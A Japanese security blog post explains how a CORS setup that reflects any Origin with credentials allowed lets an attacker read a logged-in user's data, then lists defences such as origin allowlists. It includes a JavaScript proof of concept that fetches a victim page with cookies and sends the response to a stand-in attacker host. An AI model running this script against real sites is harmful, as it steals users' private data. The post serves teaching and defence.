Shikata Ga Nai

Private? There is no such things.

脆弱なCORS設定によるセキュリティリスクとは?

Hello there, ('ω')ノ

🎯 目的

今回は、CORS(Cross-Origin Resource Sharing)の誤った設定によって発生する深刻な脆弱性と、その実際の攻撃シナリオについて解説します。特に「クライアントが指定したOriginヘッダーをサーバーがそのまま反映してしまう」場合に焦点を当てます。


🔍 問題のあるCORS設定とは?

CORSは安全にクロスオリジン通信を行う仕組みですが、以下のように設定されていると攻撃者に悪用されるリスクがあります。

💥 危険なCORSレスポンス例:

Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
  • Access-Control-Allow-Origin任意のOriginが反映されてしまう
  • Access-Control-Allow-Credentials: true によりCookie(セッション情報)付きリクエストが可能

この2つが揃ってしまうと、攻撃者がログイン済みのユーザーとしてデータを盗み見ることが可能になります


🚨 実際の攻撃シナリオ

  1. ユーザーが vulnerable-website.com にログイン中
  2. 攻撃者が以下のJavaScriptを自身の悪意あるサイト malicious-website.com に設置:
var req = new XMLHttpRequest();
req.onload = function() {
    location = 'https://malicious-website.com/log?data=' + encodeURIComponent(this.responseText);
};
req.open('GET', 'https://vulnerable-website.com/sensitive-victim-data', true);
req.withCredentials = true;
req.send();
  1. ユーザーが攻撃者のサイトを開くと、このスクリプトが実行される
  2. 攻撃者は被害者のクッキー付きリクエスト結果(たとえば、個人情報やAPIキーなど)を盗むことができる

🛡️ 防ぐ方法

以下のような対策を徹底しましょう:

  • 静的に信頼できるOriginのみを許可する
  Access-Control-Allow-Origin: https://trusted-partner.com
  • ワイルドカード(*)を使わない

  • Access-Control-Allow-Credentials: true を使う場合は Allow-Origin にワイルドカードを絶対に使わない

  • 動的にOriginを反映する場合は、信頼できるリスト(ホワイトリスト)と照合するロジックを実装


✅ まとめ

  • CORSは本来便利で安全な仕組みだが、誤設定すると致命的な情報漏洩リスクになる
  • Access-Control-Allow-Origin任意のOriginを反映してはいけない
  • Access-Control-Allow-Credentials を付ける場合は特に注意が必要

💡 CORS設定はセキュリティ対策の要です。ペネトレーションテストでは、必ずCORSヘッダーをチェックし、不適切な設定を狙った攻撃の可否を確認しましょう。

Best regards, (^^ゞ